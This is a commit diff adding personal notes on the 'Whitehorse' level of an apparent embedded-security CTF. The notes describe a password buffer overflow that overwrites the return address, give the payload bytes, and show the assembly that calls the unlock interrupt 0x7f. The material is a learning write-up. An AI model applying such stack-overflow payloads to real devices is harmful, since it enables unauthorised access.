notes.md: Add book notes for Tutorial through Whitehorse

7-Whitehorse/notes.md

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+`Taken verbatim from my notebook`
+# Page 1
+```
+Whitehorse
+    Password 8-16 chars
+        it takes 0x30 chars
+    Jumps to chars 18..20 as addr
+
+        ROP chains?
+
+    Goal: Set sp to 7f
+          Call INT
+
+    ['A';16]32457f
+
+        push    r14
+        push    r15
+        push    #7f
+        call    INT
+            mov sp+2, r14 <- prep for call
+
+    [INT]00007f
+    sp   sp
+
+    Lesson:
+    Control of the stack means
+    control of params passed on
+    the stack
+```